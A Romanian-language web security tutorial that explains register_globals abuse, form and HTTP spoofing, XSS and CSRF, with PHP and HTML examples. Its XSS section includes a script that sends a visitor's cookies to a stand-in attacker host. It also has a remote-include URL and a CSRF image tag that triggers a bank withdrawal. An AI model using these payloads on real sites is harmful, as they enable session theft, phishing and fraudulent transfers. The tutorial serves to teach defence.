Securitatea aplicatiilor WEB – partea I

Sursa tutorial: cursul de Programare Web – Universitatea Politehnica Bucuresti, pentru informatii la zi sunteti rugati sa vizitati acest site.

Salut, bine ati venit pe ItAssistant.org. In acest tutorial va vom prezenta cateva metode prin care o aplicatie WEB poate fi compromisa si vom detalia aceste tipuri de atac: Form spoofing, HTTP Spoofing, Cross site scripting (XSS), Cross Site Request Forgeries (CSRF).

Ce este securitatea WEB?

Securitatea este o trasatura masurabila si nu definitorie a unei aplicatii web. Nu putem raspunde cu da si nu la o intrebare de tipul: Este o aplicatie web sigura ?. Intrebarea este subiectiva si un raspuns nu poate fi dat, fara a ne raporta la un efort (potential) de compromitere a aplicatiei.

Eforturile de securizare a unei aplicatii (sau componente a acesteia) sunt (sau trebuie sa fie) direct proportionale cu valoarea informatiei (sau cu efortul potential de compromitere a acesteia); exemple:

  • pentru aplicatii de tip social networking, informatiile legate de un cont sunt confidentiale, insa nu critice; in acest caz, nu se justifica implementari elaborate pentru securizarea acestora;
  • pentru aplicatii web bancare (magazine online), informatiile legate de un cont pot fi critice, si trebuie protejate ca atare;

Register Globals

Register Globals este o optiune ce poate fi modificata in fisierul php.ini, si are urmatoarea semnificatie: daca register_globals are valoarea On, atunci pentru fiecare pereche (cheie ⇒ valoare) trimisa printr-un formular (prin metoda GET sau POST), o variabila globala $cheie avand valoarea “valoare”, va fi disponibila.

Fie urmatorul exemplu de cod:

if ($authenticated) {
    echo "Critical Code";
}

Observatii:

  • in codul de mai sus, o portiune critica de cod se executa doar daca $authenticated are valoarea true
  • daca optiunea register_globals este On si accesam script-ul astfel: script.php?authenticated=true, atunci codul critic se va executa, in mod ne-corespunzator si ne-sigur.

Fie un alt exemplu:

include "$path/includeFile.php";

Un acces de forma: script.php?path=evildomain.com, avand register_globals activat, va produce includerea fisierului evildomain.com/includeFile.php, care poate contine un script malitios (care sterge baza de date, de exemplu);

Securitatea WEB – Form spoofing

Fie urmatorul exemplu de formular HTML:

<form action="script.php" method="POST">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>

Formularul de mai sus permite unui utilizator sa selecteze dintr-o lista, o culoare posibila. Aparent, valorile valide trimise scriptului script.php, sunt limitate din interfata, la cele trei valori: red, green, blue. Fie insa urmatorul formular malitios, care poate fi trimis de catre oricine, scriptului nostru:

<form action="script.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>

Se observa cu usurinta ca, folosind acest formular, oricine poate trimite orice valoare, folosind numele color.

HTTP Spoofing

Putem extinde abordarea de mai sus, falsificand nu doar un formular, ci o cerere HTTP efectiva. Fie urmatorul script:

var_dump($_GET);

si urmatorul cod care trimite o cerere HTTP catre scriptul de mai sus:

$http_response = '';
 
$fp = fsockopen('localhost', 80);
 
fputs($fp, "GET /script.php?key1=value1&key2=value2 HTTP/1.1\r\n");
fputs($fp, "Host: localhost\r\n\r\n");
 
while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}
fclose($fp);
 
echo nl2br(htmlentities($http_response));

Observatii:

  • codul de mai sus deschide o conexiune la port-ul 80 al localhost, si trimite o cerere HTTP de tip GET, catre script.php;
  • functia fputs scrie pe socket;
  • functia fgets citeste cate 128 octeti de la socket, pana cand nici o informatie nu mai este disponibila;
  • functia nl2br adauga ”
    ” de cate ori intalneste “n”;
  • functia htmlentities transforma tag-urile HTML in caractere efective (utila pentru a putea afisa efectiv codul HTML, fara a fi interpretat de brower)

Cross site scripting (XSS)

Acest mecanism de compromitere a securitatii se bazeaza pe faptul ca, de multe ori, o aplicatie web publica informatii trimise de utilizatorii ei, fara a verifica continutul. Spre exemplu, o aplicatie care afiseaza mesajele utilizatorilor (spre exemplu un forum), poate primi urmatorul mesaj:

<script>
document.location = 'http://www.google.ro'
</script>

Efecte

Compromiterea functionarii aplicatiei

Trimiterea acestui mesaj pe un forum ne-protejat, ar produce ne-functionarea forumului. Orice utilizator care acceseaza pagina in care acest mesaj este publicat, va fi re-directionat catre ‘www.google.ro’.

Compromiterea datelor utilizatorului – Varianta 1

Sa presupunem ca mesajul postat este urmatorul:

<script>
document.location = 'http://www.evilforum.ro'
</script>

Unde site-ul www.evilforum.ro este unul care seamana (dpdv al interfetei) cu site-ul compromis, si in care, utilizatorului i se afiseaza un mesaj de forma “sesiune expirata, va rugam sa va re-autentificati”, urmat de un formular care cere introducerea username-ului si parolei.

Observatii:

  • din cauza re-directarii, utilizatorul nu este constient ca nu se mai afla pe pagina forumului, ci pe o pagina malitioasa
  • utilizatorul poate fi tentat sa se re-autentifice, expunandu-si astfel username-ul si parola catre site-ul malitios;

Compromiterea datelor utilizatorului – Varianta 2

Sa presupunem ca autentificarea utilizatorului se bazeaza pe cookie-uri, si ca acestea retin informatii critice legate de utilizator. Atunci urmatorul mesaj:

<script>
document.location = 'http://www.evilforum.ro/mal.php?cookies=' + document.cookie
</script>

Va produce trimiterea cookie-ului asociat utilizatorului, catre scriptul de pe evilforum.ro.

Observatii:

  • pe langa implementarea defectuoasa a mecanismului de post-uri, aceasta varianta exploateaza si flexibilitatea browserului, care nu este intotdeauna avantajoasa.

Cross Site Request Forgeries (CSRF)

Spre deosebire de Cross Site Scripting (XSS), care exploateaza increderea pe care un utilizator o are intr-un website, Cross Site Request Forgeries (CSRF) functioneaza invers, speculand increderea pe care un website o are in utilizatorii sai.

Fie urmatorul scenariu:

  • Bob are un cont bancar, si este autentificat pe o aplicatie ce gestioneaza acest cont; aplicatia foloseste cookie-uri pentru a retine informatii despre utilizatori;
  • Mallory are si el un cont bancar. De asemenea cunoaste faptul ca Bob este autentificat, si ii prezinta urmatorul link lui Bob:
<a href='http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory'> Hello </a>

Bob poate fi suspicios, alegand astfel sa nu urmeze acest link. Ce se intampla insa, daca acest link este ascuns pe o pagina aparent banala, ce contine urmatorul tag img:

<img src="http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory">

Continutul unei cereri HTTP

Cand un utilizator se autentifica (catre http://bank.example), si informatiile sunt retinute intr-un cookie, serverul va produce urmatorul raspuns, clientului proaspat autentificat:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
 
(content of page)

Observati campul Set-Cookie care informeaza browserul ca un cookie a fost setat.

Orice cerere HTTP ulterioara catre http://bank.example va fi de forma:

GET /page.html HTTP/1.1
Host: bank.example
Cookie: name=value

Observati faptul ca cererea HTTP contine campul Cookie; browserul trimite serverului cookie-ul setat de acesta.

Din nefericire browserul nu face distinctie intre o cerere HTTP obisnuita, si o cerere HTTP pentru o imagine(de exemplu).

Motiv pentru care, cand intalneste tag-ul:

<img src="http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory">

browserul lui Bob, va construi urmatoarea cerere HTTP:

GET /withdraw.php?account=bob&amount=1000000&for=mallory HTTP/1.1
Host: bank.example
Cookie: name=value

Cum cookie-ul a fost setat pentru acest domeniu, browserul web va anexa acestei cerereri, campul Cookie: name=value.

Se vede limpede acum, faptul ca deschiderea unei simple pagini web care contine tag-ul img descris mai sus, va produce o modificare in contul bancar al lui Bob, in favoarea lui Mallory.

Cand functioneaza CSRF

Pentru ca CSRF sa functioneze, urmatoarele conditii trebuie indeplinite:

  • Atacatorul trebuie sa gaseasca o aplicatie care nu verifica campul Referer, din cererea HTTP. (Un astfel de camp este deobicei setat, si indica entitatea de unde s-a trimis pagina malitioasa (in exemplul nostru, Referer-ul este site-ul lui Mallory, care gazduieste pagina web ce contine tag-ul img malitios)
  • Atacatorul trebuie sa gaseasca o aplicatie ale caror URL-uri produc efecte secundare (Spre exemplu, withdraw.php, apartinand banking.example), ca urmare a trimiterii de formulare (prin metoda GET).
  • Atacatorul trebuie sa cunoasca valorile corecte ce trebuie trimise scriptului; (In exemplul nostru: account=bob&amount=1000000&for=mallory; cum insa Mallory are si el un cont bancar pe acelasi site, acest lucru este rezonabil); Insa daca formularul mai solicita si alte informatii (eventual o parola, sau output-ul unui captcha), atacul nu mai este posibil (in aceasta forma).
  • Atacatorul trebuie sa convinga victima sa acceseze un website malitios, in timp ce aceasta se afla autentificata pe site-ul tinta (bank.example)

Related posts:

  1. Securitatea aplicatiilor WEB – partea a II-a
  2. Aspecte cheie ale dezvoltarii aplicatiilor WEB
  3. Formulare HTML – setarea de sesiuni si cookies in PHP
  4. Prezentare (X)HTML, CSS si HTML 5
  5. Evalueaza-ti site-ul web – tutorial video
Tags: , , , , , , , ,

V-a placut acest tutorial? Aveti anumite sugestii pentru urmatoarele tutoriale video? Lasati un comentariu! Feedback-ul vostru este foarte important pentru noi.

Pentru intrebari mai elaborate, cu caracter general, va rugam folositi forumul si in cel mai scurt timp veti primi un raspuns. Astfel ii vom ajuta si pe ceilalti sa invete din eventualele probleme.